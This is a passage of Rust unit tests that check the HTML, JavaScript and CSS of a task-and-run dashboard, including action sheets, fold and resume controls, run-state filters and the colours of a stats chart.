18854 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18855 .await;
18856 assert_eq!(stale.status, 200, "an older build must be replaced");
18857 assert!(stale.body.contains("renderRunActions"));
18858 }
18859
18860 #[test]
18861 fn the_task_detail_has_an_actions_fab_and_sheet() {
18862 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18863 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18864 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18865 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18867 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18868 assert!(APP_JS.contains("renderTaskActions(task);"));
18870 assert!(APP_JS.contains("renderTaskActions(null);"));
18871 let sheet = APP_JS
18873 .find("function renderTaskActions")
18874 .expect("sheet renderer");
18875 let body = &APP_JS[sheet..sheet + 3000];
18876 assert!(body.contains("changePriority("));
18877 assert!(body.contains("openTaskEdit(task)"));
18878 assert!(body.contains("renderTaskHoldBox(host"));
18879 assert!(body.contains("renderTaskDoneBox(host"));
18880 assert!(body.contains("renderTaskDeleteBox(host"));
18881 assert!(APP_JS.contains("API.priority(id)"));
18882 assert!(APP_JS.contains("API.deleteTask(id)"));
18883 assert!(APP_JS.contains("location.hash = \"#/queue\""));
18885 assert!(APP_JS.contains("$(\"task-actions-error\")"));
18887 }
18888
18889 #[test]
18890 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18891 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18892 let actions = INDEX_HTML
18893 .find("id=\"run-actions-box\"")
18894 .expect("actions box");
18895 assert!(task < actions, "the task entry comes first in the sheet");
18896 assert!(APP_JS.contains("renderRunTaskEntry"));
18897 assert!(APP_JS.contains("\"Open task \""));
18898 assert!(APP_JS.contains("started directly, no task"));
18900 assert!(APP_JS.contains("sheet-task-link"));
18901 assert!(APP_JS.contains("task-chip-link"));
18902 }
18903
18904 #[test]
18905 fn the_deck_never_sends_the_operator_to_a_terminal() {
18906 assert!(
18909 !APP_JS.contains("Run `magi fold` first"),
18910 "the deck must offer the fold, not prescribe a shell command"
18911 );
18912 assert!(APP_JS.contains("foldRun:"));
18913 assert!(APP_JS.contains("resumeRun:"));
18914 assert!(APP_JS.contains("renderRunActions"));
18915
18916 assert!(APP_JS.contains("armedFold"));
18918 assert!(APP_JS.contains("Yes, fold worktrees"));
18919
18920 assert!(APP_JS.contains("can no longer be resumed"));
18923 }
18924
18925 #[test]
18926 fn a_finished_run_explains_itself_with_its_own_last_line() {
18927 assert!(
18933 !APP_JS.contains("collapsed on agent quota"),
18934 "a stall must not be explained by a cause the deck did not check"
18935 );
18936 assert!(
18937 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18938 "and a block must not offer a guess with an `or` in it"
18939 );
18940
18941 assert!(
18945 APP_JS.contains("setText(r.event, run.event || \"\")"),
18946 "the run's last line is rendered unconditionally"
18947 );
18948 assert!(
18949 !APP_JS.contains("moving && run.event"),
18950 "and never gated on the run still moving"
18951 );
18952
18953 assert!(APP_JS.contains("lost to quota"));
18955 }
18956
18957 #[test]
18979 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18980 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18981 let shapes_body_start =
18982 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18983 let shapes_close = APP_JS[shapes_body_start..]
18984 .find("].map(")
18985 .expect("the shape list is closed by its done-computing .map(...)")
18986 + shapes_body_start;
18987 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18988
18989 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18990 for entry in shapes_src.split('{').skip(1) {
18991 let waiting = entry.contains("waiting: true");
18992 let dead = entry.contains("live: \"dead\"");
18993 let status_at =
18994 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
18995 let status_end = entry[status_at..]
18996 .find('"')
18997 .expect("the status string is closed")
18998 + status_at;
18999 let parked = entry.contains("display_status: \"parked\"");
19000 shapes.push((
19001 waiting,
19002 entry[status_at..status_end].to_string(),
19003 dead,
19004 parked,
19005 ));
19006 }
19007 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
19008
19009 let done_rule_marker = "done: !";
19013 let done_rule_at = APP_JS[shapes_close..]
19014 .find(done_rule_marker)
19015 .expect("the done rule follows the shape list")
19016 + shapes_close
19017 + done_rule_marker.len();
19018 let includes_at = APP_JS[done_rule_at..]
19019 .find(".includes(shape.status)")
19020 .expect("the done rule ends in .includes(shape.status)")
19021 + done_rule_at;
19022 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
19023 .trim()
19024 .trim_start_matches('[')
19025 .trim_end_matches(']')
19026 .split(',')
19027 .map(|s| s.trim().trim_matches('"'))
19028 .filter(|s| !s.is_empty())
19029 .collect();
19030
19031 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
19032 .into_iter()
19033 .map(|(waiting, status, dead, parked)| {
19034 let done = !not_done.contains(&status.as_str());
19035 (waiting, status, dead, parked, done)
19036 })
19037 .collect();
19038
19039 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
19043 if waiting {
19044 return "waiting";
19045 }
19046 if dead
19047 && !parked
19048 && !matches!(
19049 status,
19050 "merged"
19051 | "ready"
19052 | "stalled"
19053 | "blocked"
19054 | "failed"
19055 | "verified_noop"
19056 | "superseded"
19057 | "already_in_base"
19058 )
19059 {
19060 return "stale";
19061 }
19062 match status {
19063 "merged" | "ready" => "landed",
19064 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
19065 | "already_in_base" => "ended",
19066 _ => "flight",
19067 }
19068 }
19069
19070 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
19073 match filter_key {
19074 "active" => !done,
19075 "flight" => !done && !waiting && !dead,
19076 "stale" => !done && !waiting && dead,
19077 "waiting" => waiting,
19078 "done" => done,
19079 "all" => true,
19080 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
19081 }
19082 }
19083
19084 let compatible = |section: &str, filter_key: &str| {
19085 shapes.iter().any(|(waiting, status, dead, parked, done)| {
19086 run_section(*waiting, status, *dead, *parked) == section
19087 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
19088 })
19089 };
19090
19091 let expected = [
19096 ("waiting", [true, false, false, true, true, true]),
19097 ("stale", [true, false, true, false, false, true]),
19098 ("flight", [true, true, false, false, false, true]),
19099 ("landed", [false, false, false, false, true, true]),
19100 ("ended", [false, false, false, false, true, true]),
19101 ];
19102 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
19103
19104 for (section, wants) in expected {
19105 for (filter_key, want) in filter_keys.iter().zip(wants) {
19106 assert_eq!(
19107 compatible(section, filter_key),
19108 want,
19109 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
19110 );
19111 }
19112 }
19113
19114 assert!(
19117 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
19118 );
19119 assert!(APP_JS.contains(
19120 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
19121 ));
19122 assert!(APP_JS.contains(
19123 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
19124 ));
19125 }
19126
19127 #[tokio::test]
19128 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
19129 let dir = tempfile::tempdir().expect("tempdir");
19133 let explicit = dir.path().join("not-a-checkout");
19134 std::fs::create_dir_all(&explicit).expect("create dir");
19135 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
19136
19137 let missing = dir.path().join("does-not-exist-at-all");
19138 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
19139 }
19140
19141 #[test]
19142 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
19143 assert!(APP_JS.contains("function statsDonutArcs"));
19144 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
19145 assert!(APP_JS.contains("function statusInBucket"));
19147 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
19148 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
19149 let buckets = [
19150 "merged",
19151 "ready",
19152 "in_progress",
19153 "blocked",
19154 "failed",
19155 "verified_noop",
19156 "superseded",
19157 "stalled",
19158 ];
19159 for key in buckets {
19160 let var = format!("--verdict-{key}:");
19161 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
19163 assert!(
19164 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
19165 "{key}"
19166 );
19167 }
19168 }
19169}